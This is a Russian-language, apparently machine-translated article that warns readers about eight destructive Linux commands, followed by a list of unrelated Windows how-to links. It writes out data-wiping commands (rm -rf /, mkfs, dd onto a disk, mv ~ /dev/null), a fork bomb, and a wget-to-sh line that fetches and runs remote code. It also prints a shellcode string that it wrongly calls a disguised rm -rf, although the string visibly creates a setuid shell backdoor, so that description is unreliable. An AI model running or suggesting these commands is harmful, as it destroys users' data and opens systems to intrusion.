8 смертоносных команд, которые никогда не следует запускать в Linux

8 смертоносных команд, которые никогда не следует запускать в Linux

Команды терминала в Linux весьма разрушительны: если вы запустите команду, она разрушит вашу систему. Linux не требует подтверждения при выполнении какой-либо команды.

Знание того, какие команды не следует запускать в Linux, поможет защитить вашу систему при работе в Linux. Ниже приведены 8 смертельно опасных команд, которые никогда не следует запускать в Linux.

8 смертоносных команд, которые никогда не следует запускать в Linux

1. rm -rf/ — удалить всё

Команда rm -rf / удалит все, включая файлы на жестком диске и файлы на мультимедийных устройствах, подключенных к вашему компьютеру.

Чтобы лучше понять эту команду, проанализируйте ее следующим образом:

  • rm – Удалить следующие файлы.
  • -rf – запускает rm (удаляет все файлы и папки внутри указанной папки) и принудительно удаляет все файлы без предварительного запроса.
  • / – Сообщает, что rm (скажем, rm) запускается в корневом каталоге, включая все файлы на вашем компьютере.

Linux с радостью последует этой команде и удалит все, не предупреждая вас, поэтому будьте осторожны при использовании этой команды.

Кроме того, команда rm используется очень опасными способами. Например, rm –rf ~ удалит все файлы в вашей домашней папке, а rm -rf .* удалит все ваши файлы конфигурации.

2. Замаскированная команда rm –rf/

Вот фрагмент кода, разбросанный по сети:

char esp[] __attribute__ ((section(".text"))) /* выпуск esp */ = "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68" " \xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99" "\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7 " "\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56" "\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80 \x31" "\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69" "\x6e\x2f\x73\x68\x00\x2d\x63\x00" "cp - p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;";

По сути, это другая версия rm –rf/ – выполнение этой команды также удалит все ваши файлы, как и запуск rm –rf/.

3. :(){ :|: & };: – Тип блокбастера

8 смертоносных команд, которые никогда не следует запускать в Linux

Приведенная ниже командная строка выглядит очень простой, но ее функция на самом деле очень опасна:

:(){ :|: & };:

Эта короткая команда создаст новые копии самого себя. То есть сам процесс резервного копирования будет непрерывным и быстро приведет к заполнению вашего процессора и памяти.

Также это может привести к зависанию компьютера. По сути, это атака типа «отказ в обслуживании» (DoS).

4. mkfs.ext4 /dev/sda1 — форматы жестких дисков.

Команду mkfs.ext4 /dev/sda1 довольно легко понять:

  • mkfs.ext4 — создает файловую систему ext4 на следующем устройстве.
  • /dev/sda1 — идентифицирует первый раздел на первом жестком диске, который может быть используемым жестким диском.

Объединение этих двух команд эквивалентно форматированию диска C: в Windows — удалите все файлы в первом разделе и замените их новой файловой системой.

Эта команда может иметь множество различных форматов, например: mkfs.ext3 /dev/sdb2 отформатирует второй раздел на втором жестком диске в файловую систему ext3.

5. команда > /dev/sda — запись напрямую на жесткий диск

8 смертоносных команд, которые никогда не следует запускать в Linux

Командная строка > /dev/sda — запустите команду и выведите результат этой команды непосредственно на ваш первый жесткий диск, записывая данные непосредственно на жесткий диск и уничтожая вашу файловую систему.

  • команда – запустить команду (может быть любая команда).
  • > – отправляет вывод команды в следующее место.
  • /dev/sda — запись вывода команды непосредственно на жесткий диск.

6. dd if=/dev/random of=/dev/sda – записывает на жесткий диск ненужные данные.

Строка dd if=/dev/random of=/dev/sda удалит данные на одном из ваших жестких дисков.

  • dd – предназначен для выполнения низкоуровневого копирования из одного места в другое.
  • if=/dev/random — используйте /dev/random в качестве входных данных — вы можете увидеть адреса типа /dev/zero.
  • of=/dev/sda — вывод на первый жесткий диск, заменяя файловую систему случайными глупыми данными.

7. mv ~ /dev/null — переместите домашний каталог в черную дыру.

/dev/null — перемещение чего-либо в /dev/null равносильно его уничтожению. Думайте о /dev/null как о черной дыре. mv ~ /dev/null отправит все ваши личные файлы в черную дыру.

  • mv – переместить следующий файл или папку в другое место.
  • ~ – Вся ваша домашняя папка.
  • /dev/null — переместите домашнюю папку в /dev/null, это уничтожит все ваши файлы и удалит исходные копии.

8. wget http://example.com/something -O – | sh – загрузить и запустить скрипт

Приведенная выше команда загрузит сценарий из Интернета и отправит его в sh, который выполнит содержимое сценария. Это может быть опасно, если вы не уверены, что такое сценарий, или у вас нет надежного источника сценария — не запускайте ненадежные сценарии.

wget – скачать файл.

http://example.com/something – скачивайте файлы отсюда.

| – Направьте (отправьте) выходные данные команды wget (файл загруженной версии) непосредственно в другую команду.

sh – отправить файл команде sh.

См. еще несколько статей ниже:

Веселиться!


Как очистить и сбросить кеш Microsoft Store в Windows 10

Как очистить и сбросить кеш Microsoft Store в Windows 10

Если у вас возникли проблемы с установкой или обновлением приложения «Магазин» в Windows 10, это может быть связано с проблемой с кешем магазина. Узнайте как <strong>очистить кеш магазина Microsoft</strong> для вашей учетной записи в Windows 10.

Топ-10 лучших бесплатных программ-кейлоггеров для Windows

Топ-10 лучших бесплатных программ-кейлоггеров для Windows

Кейлоггер - это программное обеспечение для захвата и сбора информации о нажатиях клавиш. Узнайте о лучших бесплатных кейлоггерах для Windows. Как защитить свои данные!

Как всегда запускать Microsoft Edge в режиме InPrivate в Windows 10

Как всегда запускать Microsoft Edge в режиме InPrivate в Windows 10

Если вы используете Microsoft Edge на общем компьютере с Windows 10 и хотите сохранить конфиденциальность своей истории просмотров, узнайте, как настроить Edge для запуска в режиме InPrivate.

8 способов открыть MSConfig в Windows 11

8 способов открыть MSConfig в Windows 11

Вы можете решить многие проблемы, возникающие в Windows 11, с помощью настройки системы. Например, если игра не запускается, открытие и изменение настроек MSConfig может решить проблему.

Инструкция по настройке и использованию VPNBook на Windows

Инструкция по настройке и использованию VPNBook на Windows

VPNBook — бесплатный провайдер VPN с неограниченной пропускной способностью, идеален для доступа к заблокированным сайтам. Узнайте, как настроить VPN на Windows за считанные минуты.

Включить/отключить функцию встроенного автозаполнения в проводнике и диалоговом окне «Выполнить» в Windows 10.

Включить/отключить функцию встроенного автозаполнения в проводнике и диалоговом окне «Выполнить» в Windows 10.

Узнайте, как включить или отключить встроенное автозаполнение в адресной строке проводника и диалоговом окне «Выполнить» в Windows 10. Следуйте нашим простым шагам!

6 способов получить доступ к меню параметров загрузки в Windows 10

6 способов получить доступ к меню параметров загрузки в Windows 10

Windows 10 предоставляет <strong>меню параметров загрузки</strong>, позволяющее исправлять проблемы и перенастраивать систему. Узнайте, как получить доступ к этому меню.

Как запустить любое приложение с помощью кнопки «Удобство доступа» на экране входа в Windows 10

Как запустить любое приложение с помощью кнопки «Удобство доступа» на экране входа в Windows 10

Кнопка «Удобство доступа» на экране входа в Windows 10 дает возможность пользователям запускать приложения, такие как диспетчер задач и командную строку, для улучшения доступа и функциональности.

Как изменить веб-камеру по умолчанию на компьютере с Windows 10

Как изменить веб-камеру по умолчанию на компьютере с Windows 10

Эта статья поможет вам настроить переключение между веб-камерами на компьютере с Windows 10. Убедитесь, что у вас по умолчанию установлена нужная веб-камера.

9 способов открыть Блокнот в Windows 11

9 способов открыть Блокнот в Windows 11

Узнайте, как быстро и удобно открыть Блокнот в Windows 11 различными способами. Bлокнот — это незаменимое текстовое приложение, которое всегда под рукой.